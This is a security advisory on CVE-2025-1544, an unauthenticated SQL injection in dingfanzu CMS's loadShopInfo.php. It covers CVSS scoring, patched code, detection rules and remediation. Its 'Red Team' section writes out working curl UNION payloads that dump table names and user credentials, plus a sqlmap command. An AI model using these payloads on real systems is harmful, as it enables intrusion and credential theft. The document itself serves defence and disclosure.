CVE-2025-1544

Executive Summary

CVE-2025-1544 is a critical unauthenticated SQL injection vulnerability in the dingfanzu CMS, affecting versions up to and including the 20250210 release. The flaw resides in the /ajax/loadShopInfo.php file, where the shopId parameter is directly concatenated into SQL queries without sanitization or parameterization. An attacker can exploit this remotely to extract the entire database, including user credentials, session tokens, and application data. The vendor has been contacted but has not responded, leaving the software in an unpatched state. Public proof-of-concept (PoC) code is available, increasing the risk of widespread exploitation.

Supply Chain & Package Security

This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It is a standalone PHP CMS application. However, organizations using dingfanzu CMS should treat it as a critical supply chain risk due to the lack of vendor support and patch availability.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and has a high impact on all three security pillars. Public exploit code accelerates the threat.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the loadShopInfo.php endpoint. The application likely constructs a SQL query similar to:

$shopId = $_GET['shopId'];
$query = "SELECT * FROM shops WHERE id = $shopId";
$result = mysqli_query($conn, $query);

The shopId parameter is taken directly from the HTTP request and inserted into the query without any sanitization or prepared statements. An attacker can inject arbitrary SQL commands by appending a single quote (') or other SQL metacharacters.

Example vulnerable request:

GET /ajax/loadShopInfo.php?shopId=1' OR '1'='1

This would return all rows from the shops table, confirming the injection point. More sophisticated payloads can be used for UNION-based data extraction, time-based blind injection, or out-of-band exfiltration.

Database fingerprinting: The application likely uses MySQL. Attackers can use @@version or database() to gather information.

Potential impact:

• Full database dump (users, passwords, orders, etc.)
• Authentication bypass
• Remote code execution via INTO OUTFILE (if MySQL file privileges are enabled)
• Lateral movement within the network

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical):

<?php
$shopId = $_GET['shopId'];
$query = "SELECT * FROM shops WHERE id = $shopId";
$result = mysqli_query($conn, $query);
// ... process result
?>

Patched Code (recommended):

<?php
$shopId = intval($_GET['shopId']); // Cast to integer
$query = "SELECT * FROM shops WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $shopId);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
// ... process result
?>

The patched version uses prepared statements with parameterized queries, which completely eliminates SQL injection. Alternatively, input validation (e.g., intval()) can be used if the parameter is expected to be an integer.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of dingfanzu CMS (version <= 20250210)
• Network access to the /ajax/loadShopInfo.php endpoint

Exploitation Steps:

1. Confirm injection:

   curl "http://target.com/ajax/loadShopInfo.php?shopId=1'"
   

   If the response changes (error or different data), the injection is confirmed.

2. Extract database version:

   curl "http://target.com/ajax/loadShopInfo.php?shopId=1 UNION SELECT 1,@@version,3,4-- -"
   

3. Extract table names:

   curl "http://target.com/ajax/loadShopInfo.php?shopId=1 UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -"
   

4. Extract user credentials (example):

   curl "http://target.com/ajax/loadShopInfo.php?shopId=1 UNION SELECT 1,GROUP_CONCAT(username,':',password),3,4 FROM users-- -"
   

Automated exploitation with sqlmap:

sqlmap -u "http://target.com/ajax/loadShopInfo.php?shopId=1" --batch --dbs

Blue Team

Detection & Response:

1. Monitor for anomalous requests to /ajax/loadShopInfo.php containing SQL metacharacters (', ", --, #, UNION, SELECT, SLEEP, BENCHMARK).

2. Web Application Firewall (WAF) rules:

   • Block requests with shopId parameter containing non-numeric characters.
   • Rate-limit requests to /ajax/loadShopInfo.php.

3. Database monitoring:

   • Enable query logging and alert on unusual queries (e.g., UNION, INFORMATION_SCHEMA).
   • Monitor for excessive error messages from the database.

4. Honeypot:

   • Deploy a fake endpoint mimicking loadShopInfo.php to capture attacker behavior.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /ajax/loadShopInfo.php with shopId parameter containing SQL keywords or special characters.
• Outbound database connections to unusual IPs (if data exfiltration occurs).

File IOCs:

• Suspicious files in the web root (e.g., shell.php, cmd.php).
• Modified .htaccess files.

Log IOCs:

• Web server logs showing 400 or 500 errors from loadShopInfo.php.
• Database logs showing UNION, SELECT, INTO OUTFILE statements.

Sample Suricata rule (see Detection Engineering):

Detection Engineering

YARA Rule

rule CVE_2025_1544_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting dingfanzu CMS loadShopInfo.php"
        author = "Valters IT"
        date = "2025-02-15"
        reference = "CVE-2025-1544"
    strings:
        $sqli_pattern1 = /shopId=.*['\"]/ nocase
        $sqli_pattern2 = /shopId=.*UNION/i
        $sqli_pattern3 = /shopId=.*SELECT/i
        $sqli_pattern4 = /shopId=.*SLEEP/i
        $sqli_pattern5 = /shopId=.*BENCHMARK/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-1544 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against dingfanzu CMS loadShopInfo.php
author: Valters IT
date: 2025/02/15
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '/ajax/loadShopInfo.php?shopId='
        cs-uri-query|re:
            - '.*[\'\"].*'
            - '.*UNION.*'
            - '.*SELECT.*'
            - '.*SLEEP.*'
            - '.*BENCHMARK.*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in shopId (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1544 SQL Injection Attempt"; flow:to_server,established; content:"/ajax/loadShopInfo.php"; http_uri; pcre:"/shopId=.*[\'\"].*/Ui"; pcre:"/shopId=.*(UNION|SELECT|SLEEP|BENCHMARK)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate any systems running dingfanzu CMS from the internet.
2. Apply virtual patching via WAF to block SQL injection attempts on the shopId parameter.
3. Review access logs for signs of exploitation.

Long-term Fix:

• Since the vendor is unresponsive, the only permanent fix is to migrate away from dingfanzu CMS to a supported alternative.
• If migration is not possible, manually patch the code by replacing the vulnerable query with prepared statements (as shown in the patched code section).

Compensating Controls:

• Implement strict input validation (allow only integers for shopId).
• Use a database user with minimal privileges (no FILE privilege, no access to INFORMATION_SCHEMA if not needed).
• Enable database query logging and alerting.

Valters IT